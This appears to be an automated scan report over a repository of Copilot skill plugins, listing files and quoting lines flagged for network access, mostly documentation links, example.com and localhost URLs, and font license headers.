The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 574
- [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation - Network accessline 575
- [swift-log](https://github.com/apple/swift-log) - Structured logging - Network accessline 576
- [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown
harness/github-copilot/plugins/testing-automation/skills/pester-migration/SKILL.md
- Network accessline 22
- Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - - Network accessline 24
- Installation reference: https://pester.dev/docs/introduction/installation. - Network accessline 36
Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5. - Network accessline 184
- [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5) - Network accessline 185
- Installation: https://pester.dev/docs/introduction/installation.
harness/github-copilot/plugins/testing-automation/skills/pester-migration/references/v3-to-v4.md
- Network accessline 6
Official guide: https://pester.dev/docs/migrations/v3-to-v4 - Network accessline 29
There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee - Network accessline 30
that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n - Network accessline 31
https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced - Network accessline 74
cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873. - Network accessline 76
https://github.com/pester/Pester/issues/873. - Network accessline 78
Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81 - Network accessline 80
https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.
harness/github-copilot/plugins/testing-automation/skills/pester-migration/references/v4-to-v5.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v4-to-v5 · - Network accessline 8
Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5 - Network accessline 70
> `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 72
> https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 74
There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 75
https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 110
Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest - Network accessline 112
template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests. - Network accessline 178
it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See https://pester.dev/docs/usage/mocking. - Network accessline 180
https://pester.dev/docs/usage/mocking.
harness/github-copilot/plugins/testing-automation/skills/pester-migration/references/v5-to-v6.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v5-to-v6 - Network accessline 60
single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs - Network accessline 62
edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases. - Network accessline 197
failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes - Network accessline 199
part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.
harness/github-copilot/plugins/testing-automation/skills/pester-should-migration/SKILL.md
- Network accessline 116
- `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - Network accessline 117
- `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be` - Network accessline 118
- `https://pester.dev/docs/assertions/should-command` - Network accessline 119
- `https://pester.dev/docs/commands/Should-Be` - Network accessline 120
- `https://pester.dev/docs/migrations/v5-to-v6` - Network accessline 159
- [Should-Be command](https://pester.dev/docs/commands/Should-Be) - Network accessline 160
- [Should assertions concept](https://pester.dev/docs/assertions/should-command) - Network accessline 161
- [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)
harness/github-copilot/plugins/testing-automation/skills/pester-should-migration/references/assertion-map.md
- Network accessline 4
Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`) - Network accessline 6
open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).
harness/github-copilot/plugins/testing-automation/skills/playwright-automation-fill-in-form/SKILL.md
- Network accessline 19
- Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi - Network accessline 20
- Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL. - Network accessline 54
**Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 55
**URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 70
- [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.
harness/github-copilot/plugins/testing-automation/skills/scoutqa-test/SKILL.md
- Network accessline 56
scoutqa --url "https://example.com" --prompt "Your test instructions" - Network accessline 61
- **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 62
- **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 92
# Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 93
scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 110
scoutqa --url "https://example.com" --prompt " - Network accessline 119
scoutqa --url "https://shop.example.com" --prompt " - Network accessline 130
# Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt " - Network accessline 131
scoutqa --url "https://app.example.com" --prompt " - Network accessline 136
# Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 137
scoutqa --url "https://app.example.com" --prompt " - Network accessline 142
# Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 143
scoutqa --url "https://app.example.com" --prompt " - Network accessline 248
scoutqa --url "http://localhost:3000/register" --prompt " - Network accessline 298
Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 299
View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 381
**Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 383
**Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 401
- [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such - Network accessline 402
- [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc - Network accessline 403
- [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - Network accessline 404
- [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.
harness/github-copilot/plugins/testing-automation/skills/unit-test-vue-pinia/SKILL.md
- Network accessline 153
Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/> - Network accessline 220
- `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 221
- Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 222
- Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>
harness/github-copilot/plugins/testing-automation/skills/webapp-testing/LICENSE.txt
harness/github-copilot/plugins/testing-automation/skills/webapp-testing/SKILL.md
- Network accessline 63
browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready - Network accessline 64
page = browser.new_page() page.goto('http://localhost:5173') # Server already running and ready page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute - Network accessline 65
page.goto('http://localhost:5173') # Server already running and ready
harness/github-copilot/plugins/testing-automation/skills/webapp-testing/examples/console_logging.py
harness/github-copilot/plugins/testing-automation/skills/webapp-testing/examples/element_discovery.py
harness/github-copilot/plugins/testing-automation/skills/webapp-testing/examples/static_html_automation.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/testing-automation/skills/webapp-testing/scripts/with_server.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 26
while time.time() - start_time < timeout: try: with socket.create_connection(('localhost', port), timeout=1): - Network accessline 27
try: with socket.create_connection(('localhost', port), timeout=1): return True - Network accessline 28
with socket.create_connection(('localhost', port), timeout=1):
harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/SKILL.md
- Network accessline 22
- Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - - Network accessline 24
- Installation reference: https://pester.dev/docs/introduction/installation. - Network accessline 36
Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5. - Network accessline 184
- [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5) - Network accessline 185
- Installation: https://pester.dev/docs/introduction/installation.
harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/references/v3-to-v4.md
- Network accessline 6
Official guide: https://pester.dev/docs/migrations/v3-to-v4 - Network accessline 29
There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee - Network accessline 30
that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n - Network accessline 31
https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced - Network accessline 74
cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873. - Network accessline 76
https://github.com/pester/Pester/issues/873. - Network accessline 78
Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81 - Network accessline 80
https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.
harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/references/v4-to-v5.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v4-to-v5 · - Network accessline 8
Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5 - Network accessline 70
> `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 72
> https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 74
There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 75
https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 110
Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest - Network accessline 112
template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests. - Network accessline 178
it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See https://pester.dev/docs/usage/mocking. - Network accessline 180
https://pester.dev/docs/usage/mocking.
harness/github-copilot/plugins/testing-frameworks/skills/pester-migration/references/v5-to-v6.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v5-to-v6 - Network accessline 60
single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs - Network accessline 62
edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases. - Network accessline 197
failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes - Network accessline 199
part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.
harness/github-copilot/plugins/testing-frameworks/skills/pester-should-migration/SKILL.md
- Network accessline 116
- `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - Network accessline 117
- `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be` - Network accessline 118
- `https://pester.dev/docs/assertions/should-command` - Network accessline 119
- `https://pester.dev/docs/commands/Should-Be` - Network accessline 120
- `https://pester.dev/docs/migrations/v5-to-v6` - Network accessline 159
- [Should-Be command](https://pester.dev/docs/commands/Should-Be) - Network accessline 160
- [Should assertions concept](https://pester.dev/docs/assertions/should-command) - Network accessline 161
- [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)
harness/github-copilot/plugins/testing-frameworks/skills/pester-should-migration/references/assertion-map.md
- Network accessline 4
Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`) - Network accessline 6
open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).
harness/github-copilot/plugins/testing-frameworks/skills/scoutqa-test/SKILL.md
- Network accessline 56
scoutqa --url "https://example.com" --prompt "Your test instructions" - Network accessline 61
- **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 62
- **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 92
# Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 93
scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 110
scoutqa --url "https://example.com" --prompt " - Network accessline 119
scoutqa --url "https://shop.example.com" --prompt " - Network accessline 130
# Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt " - Network accessline 131
scoutqa --url "https://app.example.com" --prompt " - Network accessline 136
# Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 137
scoutqa --url "https://app.example.com" --prompt " - Network accessline 142
# Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 143
scoutqa --url "https://app.example.com" --prompt " - Network accessline 248
scoutqa --url "http://localhost:3000/register" --prompt " - Network accessline 298
Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 299
View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 381
**Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 383
**Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 401
- [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such - Network accessline 402
- [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc - Network accessline 403
- [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - Network accessline 404
- [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.
harness/github-copilot/plugins/testing-frameworks/skills/unit-test-vue-pinia/SKILL.md
- Network accessline 153
Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/> - Network accessline 220
- `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 221
- Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html> - Network accessline 222
- Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>
harness/github-copilot/plugins/typescript-mcp-development/skills/typescript-mcp-server-generator/SKILL.md
- Network accessline 99
| Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca - Network accessline 100
| --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be - Network accessline 101
| HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non
harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-api-operations/SKILL.md
- Network accessline 37
@service @server("https://api.example.com") - Network accessline 38
@server("https://api.example.com") - Network accessline 118
{ "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 119
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 120
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 131
], "actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 132
"actions": [ { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } ] - Network accessline 133
{ "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" } - Network accessline 264
- [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 265
- [Example API endpoint](https://api.example.com) - Network accessline 266
- [Example item URL](https://example.com/items/${id})
harness/github-copilot/plugins/typespec-m365-copilot/skills/typespec-create-api-plugin/SKILL.md
- Network accessline 85
| Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza - Network accessline 86
| API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU - Network accessline 87
| OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token
harness/github-copilot/plugins/uizze/skills/anti-ui-slop/SKILL.md
- Network accessline 2
name: "anti-ui-slop" description: >- Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when bu - Network accessline 3
description: >- Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, - Network accessline 4
Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, w - Network accessline 21
- Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available. - Network accessline 42
Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette. - Network accessline 148
- [UIZZE public catalogue](https://uizze.com)
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/LICENSE.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt
- Network accessline 1
Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt
- Network accessline 1
Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt
- Network accessline 1
Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt
- Network accessline 1
Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/DMMono-OFL.txt
- Network accessline 1
Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt
- Network accessline 1
Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Gloock-OFL.txt
- Network accessline 1
Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt
- Network accessline 1
Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Italiana-OFL.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt
- Network accessline 1
Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Jura-OFL.txt
- Network accessline 1
Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt
- Network accessline 1
Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Lora-OFL.txt
- Network accessline 1
Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt
- Network accessline 1
Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Outfit-OFL.txt
- Network accessline 1
Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt
- Network accessline 1
Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt
- Network accessline 1
Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt
- Network accessline 1
Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt
- Network accessline 1
Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Tektur-OFL.txt
- Network accessline 1
Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt
- Network accessline 1
Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt
- Network accessline 1
Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/github-copilot/plugins/ux-design-tooling/skills/penpot-uiux-design/SKILL.md
- Network accessline 22
- Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui - Network accessline 23
